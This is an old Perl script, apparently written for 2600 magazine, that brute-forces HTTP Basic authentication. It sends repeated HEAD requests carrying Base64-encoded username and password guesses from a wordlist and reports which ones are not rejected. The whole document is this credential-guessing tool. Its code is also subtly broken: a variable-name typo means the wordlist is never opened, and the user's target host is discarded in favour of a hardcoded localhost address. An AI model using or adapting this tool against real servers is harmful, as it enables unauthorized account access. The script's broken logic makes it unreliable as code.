#!/usr/bin/perl
#
# 401-grope.pl - A grope-in-the-dark "web-wardialer"
#
# Thrown together by Ryan, borrowing from source stolen from the net.
# Released to public domain June 1997 - written for 2600 magazine.
# ryan@2600.com

push(@INC, "/usr/share/perl/5.14.2/");        # Point these to your Perl
                                              # headers
require "/usr/lib/perl/5.14.2/sys/socket.ph"; #

print "\nWhat username to try? : ";
$username = <STDIN>;
chop $username;

print "\nWhat inputfile to try? : ";
$inputfile = <STDIN>;
chop $inputfile;

print "\nWhat hostname to try? : (hint: use an IP, it's faster) : ";
$hostname = <STDIN>;
chop $hostname;

print "\n\n";

$sockaddr = 'S n a4 x8';
$remote_host = "127.0.0.1";
$remote_port_number = 80;

chop($hostname = `hostname`);

($name, $aliases, $protocol) = getprotobyname('tcp');

($name, $aliases, $type, $length, $current_address) = gethostbyname($hostname);

($name, $aliases, $type, $length, $remote_address) = gethostbyname($remote_host);

$current_port = pack($sockaddr, &AF_INET, 0, $current_address);
$remote_port = pack($sockaddr, &AF_INET, $remote_port_number, $remote_address);

# Main Loop

open (IN, "$inpufile");

	while (<IN>) {
		$thisguess = $_;
		chop $thisguess;
		$try_this = $username . ":" . $thisguess;

		print "\n----trying [$try_this]";
		grope(Base64encode($try_this));
}

print "\n\nDone.\n";

sub grope {
	$send_this = $_[0];

	print "----sending encoded string: $send_this";

	socket(CONNECTION, &PF_INET, &SOCK_STREAM, $protocol) || die "Cannot create socket.\n";
	bind(CONNECTION, $current_port) || die "Cannot bind socket.\n";
	connect(CONNECTION, $remote_port) || die "Cannot connect socket.\n";

	select(CONNECTION);
	$| = 1;
	#print "$ARGV[0]", "\n";
	print "HEAD /secret HTTP/1.0\n";
	print "User-Agent: BadGuys\@thegate (Macintosh; I; 2600)\n";
	print "Authorization: Basic ";
	print $send_this;
	print "\n\n";
	#print "quit", "\n";
	
	select(STDOUT);

	while (<CONNECTION>) {
		if (/^HTTP\/1\.. /) {
			if (/^HTTP\/1\.. (200|301|302|303|500)/) {
				print "\n****";
				print;
			}
			
			if (/^HTTP\/1\.. (401)/) {
				print "...access denied";
			}
		}
	}

	close CONNECTION;
}

sub Base64encode {
	my $res = "";

	while ($_[0] =~ /(.{1,45})/gs) {
		$res .= substr(pack('u', $1), 1);
		chop($res);
	}

	$res =~ tr| -_|A-Za-z0-9+/|;
	# fix padding at end
	my $padding = (3 - length($_[0]) % 3) % 3;

	$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
	$res;
}

sub Base64decode {
	local($^W) = 0; #unpack("u", ...) gives bogus warning in 5.001m

	my $str = shift;
	my $res = "";

	$str =~ tr|A-Za-z0-9+/||cd; #remote non-base64 chars (padding)
	$str =~ tr|A-Za-z0-9+/| -_|; #convert to uuencoded format

	while($str =~ /(.{1,60})/gs) {
		my $len = chr(32 + length($1) * 3 / 4); #compute length byte
		$res .= unpack("u", $len . $1); #uudecode
	}
	$res;
}

exit(0);